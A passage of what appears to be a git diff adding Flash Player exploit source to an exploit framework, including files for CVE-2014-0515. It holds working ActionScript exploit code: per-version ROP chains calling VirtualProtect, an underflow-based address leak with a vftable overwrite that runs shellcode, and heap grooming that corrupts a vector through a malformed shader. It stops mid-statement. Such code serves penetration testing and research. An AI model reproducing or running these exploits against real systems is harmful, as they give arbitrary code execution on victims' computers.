rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,167": + flash_base = (flash_base - 9821704); + flash_end = (flash_base + 0xB85000); + rop_payload.writeUnsignedInt((flash_base + 8405950)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 27456)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8791088)); + rop_payload.writeUnsignedInt((flash_base + 73494)); + rop_payload.writeUnsignedInt((flash_base + 1115794)); + rop_payload.writeUnsignedInt((flash_base + 242790)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,171": + flash_base = (flash_base - 9821904); + flash_end = (flash_base + 0xB85000); + rop_payload.writeUnsignedInt((flash_base + 8406414)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 27456)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8791088)); + rop_payload.writeUnsignedInt((flash_base + 73078)); + rop_payload.writeUnsignedInt((flash_base + 1116754)); + rop_payload.writeUnsignedInt((flash_base + 242380)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,180": + flash_base = (flash_base - 9816600); + flash_end = (flash_base + 0xB84000); + rop_payload.writeUnsignedInt((flash_base + 8404478)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 29514)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8786992)); + rop_payload.writeUnsignedInt((flash_base + 69382)); + rop_payload.writeUnsignedInt((flash_base + 175197)); + rop_payload.writeUnsignedInt((flash_base + 238732)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,169": + flash_base = (flash_base - 10441412); + flash_end = (flash_base + 0xC45000); + rop_payload.writeUnsignedInt((flash_base + 4640769)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 53338)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 9368732)); + rop_payload.writeUnsignedInt((flash_base + 95414)); + rop_payload.writeUnsignedInt((flash_base + 1145506)); + rop_payload.writeUnsignedInt((flash_base + 2156132)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,202": + flash_base = (flash_base - 0x9f5470); + flash_end = (flash_base + 0xC45000); + rop_payload.writeUnsignedInt((flash_base + 0x46c361)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 0xcc5a)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 0x10c5)); + rop_payload.writeUnsignedInt((flash_base + 0x8ef49c)); + rop_payload.writeUnsignedInt((flash_base + 0x17136)); + rop_payload.writeUnsignedInt((flash_base + 0x42f0)); + rop_payload.writeUnsignedInt((flash_base + 0x40664)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,224": + flash_base = (flash_base - 10450228); + flash_end = (flash_base + 0xC7A000); + rop_payload.writeUnsignedInt((flash_base + 4646881)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 52090)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 9376924)); + rop_payload.writeUnsignedInt((flash_base + 93510)); + rop_payload.writeUnsignedInt((flash_base + 1145378)); + rop_payload.writeUnsignedInt((flash_base + 1909483)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + default: + return (null); + }; + return (rop_payload); + } + + public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray + { + var vftableAddr_copy:uint = vftableAddr; + var _local_5:uint; + var payload:ByteArray = new ByteArray(); + payload.position = 0; + payload.endian = "littleEndian"; + payload.writeUnsignedInt((scAddr + 4)); + switch (Capabilities.version.toLowerCase()) + { + case "win 11,0,1,152": + vftableAddr_copy = (vftableAddr_copy - 7628676); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 1041567)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1937003)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 4585805)); + payload.writeUnsignedInt((vftableAddr_copy + 6697912)); + payload.writeUnsignedInt((vftableAddr_copy + 2201532)); + payload.writeUnsignedInt((vftableAddr_copy + 3985044)); + payload.writeUnsignedInt((vftableAddr_copy + 2764856)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,55": + vftableAddr_copy = (vftableAddr_copy - 7633040); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4793772)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939267)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 2297101)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 3976335)); + payload.writeUnsignedInt((vftableAddr_copy + 3516263)); + payload.writeUnsignedInt((vftableAddr_copy + 2768033)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,62": + vftableAddr_copy = (vftableAddr_copy - 7628912); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4794156)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939856)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5126527)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 2920469)); + payload.writeUnsignedInt((vftableAddr_copy + 4454837)); + payload.writeUnsignedInt((vftableAddr_copy + 2768325)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,63": + vftableAddr_copy = (vftableAddr_copy - 7628904); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4794076)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939822)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5126435)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 2353542)); + payload.writeUnsignedInt((vftableAddr_copy + 3516455)); + payload.writeUnsignedInt((vftableAddr_copy + 2768305)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,228": + vftableAddr_copy = (vftableAddr_copy - 7726032); + _local_5 = (vftableAddr_copy + 0x93F000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947482)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022234)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 6255948)); + payload.writeUnsignedInt((vftableAddr_copy + 6824832)); + payload.writeUnsignedInt((vftableAddr_copy + 5021261)); + payload.writeUnsignedInt((vftableAddr_copy + 6176368)); + payload.writeUnsignedInt((vftableAddr_copy + 2847152)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,233": + vftableAddr_copy = (vftableAddr_copy - 7729872); + _local_5 = (vftableAddr_copy + 0x93F000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947594)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022508)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 4691374)); + payload.writeUnsignedInt((vftableAddr_copy + 6824832)); + payload.writeUnsignedInt((vftableAddr_copy + 4164715)); + payload.writeUnsignedInt((vftableAddr_copy + 5837496)); + payload.writeUnsignedInt((vftableAddr_copy + 2847021)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,235": + vftableAddr_copy = (vftableAddr_copy - 7734032); + _local_5 = (vftableAddr_copy + 0x940000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947578)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022729)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5249755)); + payload.writeUnsignedInt((vftableAddr_copy + 6828928)); + payload.writeUnsignedInt((vftableAddr_copy + 4261382)); + payload.writeUnsignedInt((vftableAddr_copy + 4553024)); + payload.writeUnsignedInt((vftableAddr_copy + 2847456)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,300,257": + vftableAddr_copy = (vftableAddr_copy - 8232016); + _local_5 = (vftableAddr_copy + 0x9C3000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 5328586)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2069614)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 6497300)); + payload.writeUnsignedInt((vftableAddr_copy + 7222148)); + payload.writeUnsignedInt((vftableAddr_copy + 5022322)); + payload.writeUnsignedInt((vftableAddr_copy + 4972967)); + payload.writeUnsignedInt((vftableAddr_copy + 3071572)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,300,273": + vftableAddr_copy = (vftableAddr_copy - 8236216); + _local_5 = (vftableAddr_copy + 0x9C4000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 5331930)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2070667)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 6500737)); + payload.writeUnsignedInt((vftableAddr_copy + 7226252)); + payload.writeUnsignedInt((vftableAddr_copy + 5142060)); + payload.writeUnsignedInt((vftableAddr_copy + 5127634)); + payload.writeUnsignedInt((vftableAddr_copy + 3074828)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,4,402,278": + vftableAddr_copy = (vftableAddr_copy - 8503560); + _local_5 = (vftableAddr_copy + 0xA23000); + payload.writeUnsignedInt((vftableAddr_copy + 5581452)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1202409)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 6927402)); + payload.writeUnsignedInt((vftableAddr_copy + 7480208)); + payload.writeUnsignedInt((vftableAddr_copy + 5373116)); + payload.writeUnsignedInt((vftableAddr_copy + 5713520)); + payload.writeUnsignedInt((vftableAddr_copy + 3269652)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,4,402,287": + vftableAddr_copy = (vftableAddr_copy - 8507728); + _local_5 = (vftableAddr_copy + 0xA24000); + payload.writeUnsignedInt((vftableAddr_copy + 5582348)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1202841)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 6927143)); + payload.writeUnsignedInt((vftableAddr_copy + 7484304)); + payload.writeUnsignedInt((vftableAddr_copy + 5481024)); + payload.writeUnsignedInt((vftableAddr_copy + 5107604)); + payload.writeUnsignedInt((vftableAddr_copy + 5747979)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,110": + vftableAddr_copy = (vftableAddr_copy - 11716376); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.position = 20; + payload.writeUnsignedInt((vftableAddr_copy + 9813154)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 448623)); + payload.position = 96; + payload.writeUnsignedInt((vftableAddr_copy + 9326463)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 5731300)); + payload.writeUnsignedInt((vftableAddr_copy + 8910259)); + payload.writeUnsignedInt((vftableAddr_copy + 8630687)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,135": + vftableAddr_copy = (vftableAddr_copy - 11716400); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.writeUnsignedInt((vftableAddr_copy + 1101327)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4733912)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 4540)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 28862)); + payload.writeUnsignedInt((vftableAddr_copy + 512197)); + payload.writeUnsignedInt((vftableAddr_copy + 1560889)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,146": + vftableAddr_copy = (vftableAddr_copy - 11716320); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.writeUnsignedInt((vftableAddr_copy + 1101327)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4733912)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 4540)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 28862)); + payload.writeUnsignedInt((vftableAddr_copy + 512197)); + payload.writeUnsignedInt((vftableAddr_copy + 1560889)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,149": + vftableAddr_copy = (vftableAddr_copy - 11712240); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 10373824)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4331881)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9292830)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 5731956)); + payload.writeUnsignedInt((vftableAddr_copy + 7150772)); + payload.writeUnsignedInt((vftableAddr_copy + 3344264)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,168": + vftableAddr_copy = (vftableAddr_copy - 11825816); + _local_5 = (vftableAddr_copy + 0xEE9000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9924439)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4370139)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9564155)); + payload.writeUnsignedInt((vftableAddr_copy + 10736920)); + payload.writeUnsignedInt((vftableAddr_copy + 5830863)); + payload.writeUnsignedInt((vftableAddr_copy + 9044861)); + payload.writeUnsignedInt((vftableAddr_copy + 7984191)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,171": + vftableAddr_copy = (vftableAddr_copy - 11834040); + _local_5 = (vftableAddr_copy + 0xEEA000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9925589)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4370636)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9564442)); + payload.writeUnsignedInt((vftableAddr_copy + 10741016)); + payload.writeUnsignedInt((vftableAddr_copy + 5771380)); + payload.writeUnsignedInt((vftableAddr_copy + 10153408)); + payload.writeUnsignedInt((vftableAddr_copy + 7983199)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,180": + vftableAddr_copy = (vftableAddr_copy - 11824712); + _local_5 = (vftableAddr_copy + 0xEE9000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9923173)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4368414)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9562061)); + payload.writeUnsignedInt((vftableAddr_copy + 10736920)); + payload.writeUnsignedInt((vftableAddr_copy + 5828990)); + payload.writeUnsignedInt((vftableAddr_copy + 9042989)); + payload.writeUnsignedInt((vftableAddr_copy + 8661666)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,169": + vftableAddr_copy = (vftableAddr_copy - 12902952); + _local_5 = (vftableAddr_copy + 16904192); + payload.writeUnsignedInt((vftableAddr_copy + 1116239)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 10368763)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 2586086)); + payload.writeUnsignedInt((vftableAddr_copy + 11752328)); + payload.writeUnsignedInt((vftableAddr_copy + 32732)); + payload.writeUnsignedInt((vftableAddr_copy + 8192266)); + payload.writeUnsignedInt((vftableAddr_copy + 1578904)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,202": + vftableAddr_copy = (vftableAddr_copy - 0xc4f508); + _local_5 = (vftableAddr_copy + 0x101f000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret + payload.position = 0x40; + payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret + payload.position = 0x50; + payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect + payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(0x40); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,8,800,97": + vftableAddr_copy = (vftableAddr_copy - 129165844); + _local_5 = (vftableAddr_copy + 16904192); + payload.position = 8; + payload.writeUnsignedInt(vftableAddr_copy); + payload.position = 16; + payload.writeUnsignedInt((vftableAddr_copy + 117625919)); + payload.writeUnsignedInt(-1810746282); + payload.writeUnsignedInt((scAddr + 76)); + payload.writeUnsignedInt((vftableAddr_copy + 122565891)); + payload.position = 44; + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 0x0400)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 123362382)); + payload.position = 80; + payload.writeUnsignedInt((scAddr + 192)); + payload.position = 112; + payload.writeUnsignedInt((vftableAddr_copy + 32365)); + payload.writeUnsignedInt((vftableAddr_copy + 11760520)); + payload.writeUnsignedInt((vftableAddr_copy + 1117213)); + payload.writeUnsignedInt((vftableAddr_copy + 3721232)); + payload.writeUnsignedInt((vftableAddr_copy + 8274178)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,8,800,50": + vftableAddr_copy = (vftableAddr_copy - 12936000); + _local_5 = (vftableAddr_copy + 17149952); + payload.writeUnsignedInt((vftableAddr_copy + 404531)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2583617)); + payload.position = 72; + payload.writeUnsignedInt((vftableAddr_copy + 7914140)); + payload.writeUnsignedInt((vftableAddr_copy + 4550)); + payload.writeUnsignedInt((vftableAddr_copy + 11780992)); + payload.writeUnsignedInt((vftableAddr_copy + 32684)); + payload.writeUnsignedInt((vftableAddr_copy + 142358)); + payload.writeUnsignedInt((vftableAddr_copy + 1577816)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + default: + return (null); + }; + return (payload); + } + + public function exploit():Boolean + { + var vector_objects_entry_length:int; + var shellcode_byte = null; + var _local_6:uint; + var i:int; + var vftable_addr:uint; + var shellcode_address:uint; + var vector_objects_entry_idx:uint; + var length_vector_byte_arrays:uint; + var vector_byte_arrays:Vector. = new Vector.(0); + var vector_objects:Vector. = new Vector.(0); + var twos_object:Object = new [2, 2, 2, 2, 2, 2, 2, 2]; + var vickers_byte_array:ByteArray = new ByteArray(); + while (i < 0x0500) + { + vector_byte_arrays[i] = new ByteArray(); + vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + i++; + }; + vickers_byte_array.writeUTFBytes("vickers"); + vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + ApplicationDomain.currentDomain.domainMemory = vickers_byte_array; + vector_byte_arrays[i] = new ByteArray(); + vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + length_vector_byte_arrays = i; + i = 0; + while (i < (vector_byte_arrays.length - 1)) + { + vector_byte_arrays[i++] = null; + }; + i = 0; + while (i < 0x8000) + { + vector_objects[i] = new [i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]; + i++; + }; + // _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow! + // Example leak: 0275ef00 => 10c4f508 0000003b 00002326 + if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896)))) + { + }; + if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896)))) + { + }; + vector_objects_entry_idx = (vector_objects_entry_idx >> 3); + if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896)))) + { + }; + + // No success + if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length) + { + vickers_byte_array = null; + vector_byte_arrays[length_vector_byte_arrays] = null; + i = 0; + while (i < vector_objects.length) + { + vector_objects[i++] = null; + }; + return (false); + }; + + i = 0; + while (i < vector_objects.length) + { + if (i != vector_objects_entry_idx) + { + vector_objects[i] = null; + }; + i++; + }; + // Use underflow to leak shellcode address + if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896)))) + { + }; + shellcode_address = (shellcode_address + 0x1300); + var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address); + if (rop_payload == null) + { + return (true); + }; + var j:uint; + var shellcode_length:uint = shellcode.length; + var shellcode_byte_array:ByteArray = new ByteArray(); + shellcode_byte_array.endian = "littleEndian"; + while (j < shellcode_length) + { + shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1))); + shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16)); + j = (j + 2); + }; + vector_byte_arrays[length_vector_byte_arrays].position = 0; + vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian"; + vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload); + vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array); + // Use underflow to overwrite and get code execution + if (li16((_local_6 + 1)) != 114) + { + si32((shellcode_address + 1), (_local_6 - 244)); + }; + vector_objects[vector_objects_entry_idx][1][0]; + return (true); + } + + + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/Graph.as b/external/source/exploits/CVE-2014-0515/Graph.as new file mode 100755 index 0000000000..ab64eb90cd --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Graph.as @@ -0,0 +1,411 @@ +//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf +package { + import flash.display.Sprite; + import flash.utils.ByteArray; + import flash.display.Shader; + import flash.system.Capabilities; + import flash.net.FileReference; + import flash.utils.Endian; + import __AS3__.vec.Vector; + import __AS3__.vec.*; + import flash.display.LoaderInfo; + + public class Graph extends Sprite { + + static var counter:uint = 0; + + protected var Shad:Class; + var shellcode_byte_array:ByteArray; + var aaab:ByteArray; + var shellcodeObj:Array; + + public function Graph(){ + var tweaked_vector:* = undefined; + var tweaked_vector_address:* = undefined; + var shader:Shader; + var flash_memory_protect:Array; + var code_vectors:Array; + var address_code_vector:uint; + var address_shellcode_byte_array:uint; + this.Shad = Graph_Shad; + super(); + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); + var i:* = 0; + var j:* = 0; + + // Just one try + counter++; + if (counter > 1) + { + return; + }; + + // Memory massage + var array_length:uint = 0x10000; + var vector_size:uint = 34; + var array:Array = new Array(); + i = 0; + while (i < array_length) + { + array[i] = new Vector.(1); + i++; + }; + i = 0; + while (i < array_length) + { + array[i] = new Vector.(vector_size); + i++; + }; + i = 0; + while (i < array_length) + { + array[i].length = 0; + i++; + }; + i = 0x0200; + while (i < array_length) + { + array[(i - (2 * (j % 2)))].length = 0x0100; + i = (i + 28); + j++; + }; + + // Overflow and Search for corrupted vector + var corrupted_vector_idx:uint; + var shadba:ByteArray = (new this.Shad() as ByteArray); + shadba.position = 232; + if (Capabilities.os.indexOf("Windows 8") >= 0) + { + shadba.writeUnsignedInt(2472); + }; + shadba.position = 0; + while (1) + { + shader = new Shader(); + try + { + shader.byteCode = (new this.Shad() as ByteArray); + } catch(e) + { + }; + i = 0; + while (i < array_length) + { + if (array[i].length > 0x0100) + { + corrupted_vector_idx = i; + break; + }; + i++; + }; + if (i != array_length) + { + if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; + }; + array.push(new Vector.(vector_size)); + }; + + // Tweak the vector following the corrupted one + array[corrupted_vector_idx][vector_size] = 0x40000001; + tweaked_vector = array[(corrupted_vector_idx + 1)]; + + // repair the corrupted vector by restoring its + // vector object pointer and length + var vector_obj_addr:* = tweaked_vector[0x3fffffff]; + tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; + tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; + i = 0; + var val:uint; + while (true) + { + val = tweaked_vector[(0x40000000 - i)]; + if (val == 0x90001B) break; + i++; + }; + tweaked_vector_address = 0; + if (tweaked_vector[((0x40000000 - i) - 4)] > 0) + { + tweaked_vector[4] = 0x41414141; + tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); + }; + + // More memory massage, fill an array of FileReference objects + var file_reference_array:Array = new Array(); + i = 0; + while (i < 64) + { + file_reference_array[i] = new FileReference(); + i++; + }; + + var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); + var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); + var do_it:Boolean = true; + var memory_protect_ptr:uint; + var aaaq:uint; + if (do_it) + { + flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); + memory_protect_ptr = flash_memory_protect[0]; + aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment + code_vectors = this.createCodeVectors(0x45454545, 0x90909090); + address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); + this.fillCodeVectors(code_vectors); + tweaked_vector[7] = 